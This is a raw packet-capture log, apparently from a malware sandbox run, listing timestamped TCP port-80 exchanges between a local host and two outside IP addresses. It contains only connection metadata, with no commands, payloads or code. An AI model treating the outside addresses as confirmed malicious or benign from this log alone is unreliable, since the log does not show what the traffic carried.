Nov 24, 2024 12:24:27.795084000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.795124054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.796078920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.796122074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.796166897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.796207905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.797194958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.797255993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.797312021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.797353029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.798335075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.798379898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.798461914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.798506021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.799436092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.799477100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.799560070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.799602032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.800522089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.800564051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.800661087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.800703049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.801636934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.801680088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.801846027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.801888943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.839246035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.839374065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.839485884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.839662075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.839780092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.840408087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.840531111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.840648890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.841337919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.841384888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.841439009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.841789961 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.842165947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.842279911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.842325926 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.842986107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.843091965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.843141079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.844053984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.844140053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.844489098 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.919472933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.919533968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.919668913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.919867039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.919929981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.920491934 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.920645952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.920758963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.921478987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.921524048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.921669006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.922025919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.922314882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.922475100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.922868013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.923158884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.923357964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.923407078 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.923978090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.924092054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.924748898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.924839973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.924921036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.925640106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.925683975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.925770998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.925818920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.926484108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.926609993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.926656008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.927305937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.927391052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.927442074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.928163052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.928251982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.928297997 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.928973913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.929089069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.929819107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.929861069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.929927111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.930402994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.930640936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.930766106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.930809975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.931499004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.931571960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.931644917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.932379961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.932445049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.933026075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.933155060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.933273077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.933971882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.934019089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.934072018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.934118986 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.934808969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.934919119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.934961081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.935638905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.935739040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.935786009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.936501026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.936598063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.936645985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.937285900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.937381983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.938169003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.938215017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.938272953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.938438892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.938970089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.939090014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.939146996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.939801931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.939876080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.939935923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.940618992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.940733910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.941289902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.941582918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.941683054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.941724062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.942321062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.942547083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.942683935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.943340063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.943473101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.943974972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.944021940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.944077969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.944803953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.944845915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.945003986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.945053101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.945137978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.945187092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.945240974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.945281982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.945686102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.945697069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.945713997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.945728064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.945744991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.945760012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.945776939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.946507931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.946583033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.946631908 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.946762085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.946877956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.946921110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.947338104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.947442055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.947544098 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.947891951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.947937965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.948077917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.948122025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.948204994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.948326111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.948976994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.949016094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.949027061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.949028969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.949032068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.949048996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.949112892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.949702024 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.949819088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.949948072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.950067043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.950114012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.950114965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.950180054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.950438976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.950664043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.950766087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.950862885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.951169968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.951215029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.951288939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.951472998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.951519012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.951569080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.952249050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.952280045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.952331066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.952333927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.952346087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.952373028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.952414989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.952461004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.953166962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.953289032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.953381062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.953450918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.953493118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.953506947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.953546047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.953979969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.954072952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.954437971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.954474926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.954518080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.954591990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.954638004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.954794884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.954916000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.955459118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.955607891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.955651999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.955651999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.955668926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.955682039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.955697060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.955720901 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.956537008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.956590891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.956722975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.956772089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.956773043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.956892967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.957303047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.957349062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.957808971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.957859039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.957922935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.958014965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.958970070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.959012032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.959139109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.959181070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.960028887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.960148096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.960191965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.961137056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.961184025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.961205006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.961244106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.962239981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.962284088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.962340117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.962382078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.963386059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.963432074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.963596106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.963645935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.964479923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.964519024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.964615107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.964658976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.965585947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.965627909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.965689898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.965733051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.966674089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.966717005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.966799974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.966841936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.967775106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.967818022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.967865944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.967906952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.968875885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.968918085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.968991041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.969032049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.969961882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.970007896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.970082045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.970155001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.971090078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.971133947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.971210003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.971252918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.972194910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.972237110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.972246885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.972286940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.973309994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.973339081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.973351955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.973371029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.974390030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.974432945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.006525040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.043720007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.043768883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.043900967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.044083118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.044173956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.044281006 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.044698000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.044831991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.044883013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.045540094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.045567989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.045617104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.046375990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.046471119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.047194958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.047245979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.047287941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.048028946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.048080921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.048157930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.048204899 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.121117115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.121227980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.121381044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.121398926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.121429920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.121465921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.121994019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.122117043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.122168064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.122808933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.122921944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.122972012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.123648882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.123847961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.123898029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.124495983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.124588013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.125315905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.125363111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.125447989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.126187086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.126236916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.126310110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.126348019 CET	49792	80	192.168.2.4	34.116.198.130
